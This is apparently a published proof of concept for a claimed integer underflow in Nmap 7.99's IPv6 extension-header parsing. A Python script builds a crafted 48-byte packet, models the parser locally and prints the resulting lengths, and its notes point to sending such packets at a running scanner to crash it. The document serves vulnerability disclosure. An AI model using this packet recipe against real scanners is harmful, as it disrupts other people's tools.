Nmap 7.99 – Extension Header Integer Underflow
# Exploit Title: Nmap 7.99 - Extension Header Integer Underflow # CVE: CVE-2026-58058 # Date: 2026-06-29 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://nmap.org # Software Link: https://nmap.org/download # Affected: Nmap <= 7.99 # Tested on: Nmap 7.99 (raw IPv6 scans) # Category: Remote Denial of Service # Platform: Linux / Windows / macOS # Exploit Type: Proof of Concept # CVSS: 6.9 # Description: Triggers integer underflow in IPv6 extension header parsing (ipv6_get_data_primitive) leading to OOB reads and crash. # Fixed in: Nmap commit bb6754e (post-7.99) # Usage: # python3 exploit.py # # Examples: # python3 exploit.py # # Options: # -- # # Notes: # • This is a standalone parser + packet model PoC. # • For real triggering, craft and send IPv6 packets toward an Nmap scanner. # # How to Use # # Step 1: # Save as exploit.py and run with Python 3. # # Step 2: # Observe the length wraparound that would cause Nmap to misbehave. def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ███████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) def is_extension(hdr): return hdr in [0, 43, 44, 60] def is_upper(hdr): return hdr in [6, 17, 58, 132] def parse_ipv6_payload(packet, upper_only=True): if len(packet) < 40: return None, None, None nxt = packet[6] p = 40 end = len(packet) while p < end and is_extension(nxt): if p + 2 > end: return None, None, None nxt = packet[p] ext_len = packet[p + 1] p += (ext_len + 1) * 8 payload_len = end - p if upper_only and not is_upper(nxt): return None, None, None return p, nxt, payload_len def main(): banner() # Crafted packet (48 bytes) packet = bytearray(48) packet[0] = 0x60 packet[4] = 0x00 packet[5] = 0x08 # IPv6 payload length = 8 packet[6] = 0 # Next Header = Hop-by-Hop packet[40] = 17 # Extension next = UDP packet[41] = 1 # Extension length field = 1 captured_len = len(packet) payload_offset, next_header, payload_len = parse_ipv6_payload(packet) print("helper_returned =", "true" if payload_offset is not None else "false") print("next_header =", next_header) print("payload_offset =", payload_offset) print("wrapped_payload_len =", payload_len) # Downstream length adjustment model ip_payload_len = (packet[4] << 8) | packet[5] validator_len = captured_len if payload_len > ip_payload_len: validator_len -= payload_len - ip_payload_len print("validator_len_after_adjust =", validator_len) print("captured_len =", captured_len) if __name__ == "__main__": main() |